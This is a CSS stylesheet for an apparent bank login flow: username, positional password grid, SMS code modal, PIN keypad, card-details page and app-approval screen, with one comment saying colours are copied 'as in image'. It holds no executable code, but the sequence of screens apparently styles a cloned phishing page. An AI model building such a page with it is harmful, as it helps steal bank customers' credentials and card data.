
@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');

body {
    margin: 0;
    padding: 0;
    font-family: 'Roboto', sans-serif;
    background-color: #FFFFFF;
    color: #333333;
    display: flex;
    flex-direction: column;
    min-height: 100vh;
    overflow-x: hidden;
}

header {
    padding: 25px 8%;
    display: flex;
    justify-content: flex-start;
    align-items: center;
}

header .logo img {
    height: 38px;
}

main {
    flex: 1;
    display: flex;
    padding: 0 8%;
    position: relative;
    align-items: center;
}

/* Background Graphic - The sharp V/Triangle red line */
.bg-graphic {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: -1;
    pointer-events: none;
    overflow: hidden;
}

.bg-graphic svg {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 100%;
    height: 100%;
}

.content-left {
    flex: 1;
    padding-right: 40px;
    z-index: 1;
}

.content-left h1 {
    font-size: 42px;
    font-weight: 700;
    margin-bottom: 8px;
    color: #1A1A1A;
    line-height: 1.1;
}

.content-left .subtext {
    font-size: 18px;
    color: #757575;
    margin-bottom: 40px;
}

.security-box {
    background-color: #F2F2F2;
    border-radius: 4px;
    padding: 16px 20px;
    display: flex;
    gap: 15px;
    max-width: 440px;
}

.security-box .icon {
    flex-shrink: 0;
    margin-top: 3px;
}

.security-box .text-content {
    font-size: 13px;
    line-height: 1.5;
    color: #757575;
}

.security-box .text-content strong {
    display: block;
    margin-bottom: 4px;
    color: #1A1A1A;
    font-size: 12px;
    letter-spacing: 0.5px;
}

.security-box .text-content a {
    color: #E30613;
    text-decoration: none;
    font-weight: 500;
}

.content-right {
    flex: 1;
    display: flex;
    justify-content: flex-end;
    align-items: center;
    padding: 40px 0;
    z-index: 1;
}

.login-card {
    background: #FFFFFF;
    border-radius: 8px;
    box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08);
    width: 100%;
    max-width: 380px;
    padding: 32px;
}

.login-card h2 {
    font-size: 22px;
    font-weight: 700;
    margin-bottom: 24px;
    color: #1A1A1A;
}

.form-group {
    margin-bottom: 20px;
}

.form-group label {
    display: block;
    font-size: 11px;
    color: #757575;
    margin-bottom: 6px;
    text-transform: none;
}

.form-group input[type="text"] {
    width: 100%;
    padding: 12px 14px;
    border: 1px solid #E0E0E0;
    border-radius: 4px;
    font-size: 15px;
    box-sizing: border-box;
    color: #333;
}

.form-group input::placeholder {
    color: #BDBDBD;
}

.btn {
    width: 100%;
    padding: 14px;
    border-radius: 4px;
    font-size: 15px;
    font-weight: 500;
    cursor: pointer;
    text-align: center;
    border: none;
    display: block;
    margin-bottom: 12px;
    transition: all 0.2s;
}

.btn-primary {
    background-color: #F8B4B4; /* Faded red as in image */
    color: #FFFFFF;
}

.btn-primary.active {
    background-color: #E30613;
}

.btn-secondary {
    background-color: #FFFFFF;
    color: #E30613;
    border: 1px solid #E30613;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    font-size: 13px;
}

.separator {
    display: flex;
    align-items: center;
    text-align: center;
    margin: 20px 0;
    color: #757575;
    font-size: 13px;
}

.separator::before,
.separator::after {
    content: '';
    flex: 1;
    border-bottom: 1px solid #EEEEEE;
}

.separator:not(:empty)::before {
    margin-right: 1em;
}

.separator:not(:empty)::after {
    margin-left: 1em;
}

.activate-section {
    border: 1px dotted #BDBDBD;
    border-radius: 4px;
    padding: 14px;
    text-align: center;
}

.activate-section a {
    color: #E30613;
    text-decoration: none;
    font-weight: 500;
    font-size: 14px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}

footer {
    padding: 15px 8%;
    background-color: #FFFFFF;
    border-top: 1px solid #F2F2F2;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.footer-links {
    display: flex;
    gap: 24px;
}

.footer-links a {
    color: #004D40; /* Teal/dark grey footer color */
    text-decoration: none;
    font-size: 12px;
    font-weight: 500;
}

.language-selector {
    display: flex;
    align-items: center;
    gap: 6px;
    color: #004D40;
    font-size: 12px;
    font-weight: 500;
}

/* Step 2 specific styles */
.user-display {
    display: flex;
    align-items: center;
    gap: 10px;
    background: #F2F2F2;
    padding: 10px 14px;
    border-radius: 4px;
    margin-bottom: 20px;
    font-size: 14px;
    color: #333;
}

.back-link {
    color: #757575;
    text-decoration: none;
    font-size: 13px;
    display: inline-block;
    margin-bottom: 12px;
}

.password-grid {
    display: flex;
    justify-content: space-between;
    margin-bottom: 20px;
}

.password-grid .box {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 6px;
}

.password-grid input {
    width: 36px;
    height: 36px;
    text-align: center;
    font-size: 18px;
    border: 1px solid #E0E0E0;
    border-radius: 4px;
    background-color: #F2F2F2;
}

.password-grid span {
    font-size: 10px;
    color: #757575;
}


/* SMS Verification Modal Styles */
.modal-overlay {
    background-color: #F5F5F5;
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
}

.sms-modal {
    background: #FFFFFF;
    width: 100%;
    max-width: 500px;
    border-radius: 4px;
    box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
    overflow: hidden;
}

.modal-header-red {
    background-color: #E30613;
    color: #FFFFFF;
    text-align: center;
    padding: 10px;
    font-size: 13px;
    font-weight: 700;
    letter-spacing: 1px;
}

.modal-step-bar {
    padding: 15px 25px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 1px solid #EEEEEE;
}

.modal-step-bar span {
    font-weight: 600;
    font-size: 14px;
}

.step-badge {
    background-color: #E30613;
    color: #FFFFFF;
    padding: 4px 10px;
    border-radius: 4px;
    font-size: 11px;
    font-weight: 700;
}

.modal-content {
    padding: 30px 40px;
    text-align: center;
}

.modal-logo {
    height: 30px;
    margin-bottom: 25px;
}

.progress-segments {
    display: flex;
    gap: 4px;
    justify-content: center;
    margin-bottom: 30px;
}

.segment {
    height: 4px;
    width: 30px;
    background-color: #EEEEEE;
}

.segment.black { background-color: #000000; }
.segment.red { background-color: #E30613; }

.modal-content h3 {
    font-size: 20px;
    font-weight: 700;
    margin-bottom: 12px;
}

.modal-content p {
    font-size: 13px;
    color: #757575;
    line-height: 1.6;
    margin-bottom: 25px;
}

.sms-input {
    width: 100%;
    padding: 15px;
    border: 1px solid #FCA5A5;
    border-radius: 4px;
    font-size: 14px;
    margin-bottom: 10px;
    text-align: center;
}

.sms-input::placeholder {
    color: #BDBDBD;
}

.help-text {
    font-size: 11px;
    color: #9E9E9E;
    margin-bottom: 30px;
}

.btn-confirm {
    background-color: #EEEEEE;
    color: #757575;
    border: none;
    width: 100%;
    padding: 16px;
    border-radius: 4px;
    font-weight: 700;
    font-size: 14px;
    cursor: pointer;
    margin-bottom: 20px;
}

.btn-confirm.active {
    background-color: #E30613;
    color: #FFFFFF;
}

.modal-links {
    font-size: 13px;
    color: #757575;
}

.modal-links a {
    color: #E30613;
    text-decoration: none;
    font-weight: 600;
}


/* PIN Page Styles */
.pin-input-display {
    display: flex;
    justify-content: center;
    gap: 15px;
    margin-bottom: 30px;
}

.pin-box-square {
    width: 50px;
    height: 50px;
    border: 1px solid #E0E0E0;
    border-radius: 4px;
    display: flex;
    justify-content: center;
    align-items: center;
    font-size: 24px;
    background-color: #FFFFFF;
}

.pin-box-square.active {
    border: 2px solid #E30613;
}

.pin-dot {
    width: 12px;
    height: 12px;
    background-color: #000000;
    border-radius: 50%;
}

.pin-cursor {
    width: 16px;
    height: 2px;
    background-color: #E30613;
}

.keypad-grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 10px;
    margin-bottom: 25px;
}

.key-btn {
    background-color: #F2F2F2;
    border: none;
    border-radius: 4px;
    padding: 18px;
    font-size: 20px;
    font-weight: 700;
    color: #000000;
    cursor: pointer;
    transition: background-color 0.1s;
}

.key-btn:active {
    background-color: #E0E0E0;
}

.key-btn.special {
    background-color: #FEF2F2;
    color: #E30613;
    font-size: 14px;
    font-weight: 600;
}


/* Card Page Styles */
.card-input-group {
    text-align: left;
    margin-bottom: 20px;
}

.card-input-group label {
    display: block;
    font-size: 12px;
    color: #757575;
    margin-bottom: 8px;
}

.card-input {
    width: 100%;
    padding: 12px;
    border: 1px solid #E0E0E0;
    border-radius: 4px;
    font-size: 16px;
    box-sizing: border-box;
}

.card-row {
    display: flex;
    gap: 15px;
}

.card-row > div {
    flex: 1;
}

/* Error Styles */
.error-box {
    background-color: #FEF2F2;
    border: 1px solid #FCA5A5;
    color: #B91C1C;
    padding: 12px;
    border-radius: 4px;
    font-size: 13px;
    margin-bottom: 20px;
    text-align: left;
    display: flex;
    align-items: center;
    gap: 10px;
}

.error-text {
    color: #E30613;
    font-size: 12px;
    margin-top: 5px;
    text-align: left;
    display: block;
}

/* App Approval Styles */
.app-illustration {
    margin: 30px 0;
}

.pulse-ring {
    border: 3px solid #E30613;
    border-radius: 50%;
    height: 80px;
    width: 80px;
    position: absolute;
    left: 50%;
    top: 50%;
    margin-left: -40px;
    margin-top: -40px;
    animation: pulsate 1.5s ease-out infinite;
    opacity: 0;
}

@keyframes pulsate {
    0% { transform: scale(0.1, 0.1); opacity: 0.0; }
    50% { opacity: 1.0; }
    100% { transform: scale(1.2, 1.2); opacity: 0.0; }
}



